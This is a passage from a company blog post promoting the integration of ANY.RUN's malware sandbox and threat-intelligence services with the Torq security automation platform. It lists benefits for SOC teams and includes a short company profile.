• Higher ROI on existing tools: ANY.RUN works as an enrichment layer inside Torq, making your SIEM, EDR, and other security investments more effective by providing them with immediate, actionable context. 

• Reduced analyst burnout: By eliminating manual data entry and constant switching between tools, you allow your team to focus on meaningful security work, which improves overall SOC productivity. 

About ANY.RUN 

Trusted by over 600,000 cybersecurity professionals and 15,000+ organizations worldwide, ANY.RUN helps security teams investigate threats faster and with greater accuracy. 

Our Interactive Sandbox accelerates incident response by allowing you to analyze suspicious files in real time, while our Threat Intelligence solutions (TI Lookup and TI Feeds) provide the necessary context to anticipate and stop today’s most advanced attacks. 

The integration of ANY.RUN with Torq adds a specialized layer of malware analysis, phishing detection, and IOC enrichment to your security operations. By utilizing these automated workflows, SOC teams can seamlessly embed ANY.RUN’s deep visibility into their existing triage and incident response flows. 

The post ANY.RUN & Torq Integration: Scale Triage & Respond with Confidence appeared first on ANY.RUN's Cybersecurity Blog.